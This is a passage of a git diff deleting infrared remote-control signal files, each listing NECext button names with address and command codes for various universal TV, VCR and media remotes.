parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: ch\*p/c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir deleted file mode 100644 index 392c1cfbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: Switch -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2B 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: Okay -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: Blank -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 39 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir deleted file mode 100644 index 9d0d87ca6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: p/c -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: memo -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: backto -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: KEY_3next -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: bash -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: a- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: a+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 68 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6C 00 00 00 -# -name: b+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6E 00 00 00 -# -name: b- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6F 00 00 00 -# -name: c+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: c- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: pr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 78 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir deleted file mode 100644 index 060c1fb44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 60 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir deleted file mode 100644 index 1502308fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: COL- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: COL+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: BRGT- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BRGT+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: CNTR- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: CNTR+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: ChPC -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: Pr -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: USR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: Memo -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: DEFAULT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: JFWD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: JREV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: KEY_3PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir deleted file mode 100644 index 1211e8a6c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: Mix -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: Shift -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir deleted file mode 100644 index 0ff983680..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 11 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: VCR_ON -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: CLOCK_SET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1C 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 40 00 00 00 -# -name: SET+ -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 41 00 00 00 -# -name: SET- -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 42 00 00 00 -# -name: TRACKING+ -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 43 00 00 00 -# -name: TRACKING- -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 44 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: AFT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 46 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 48 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir deleted file mode 100644 index 511b1e766..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: prg- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: prg+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: notxt -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 92 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 93 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 7C 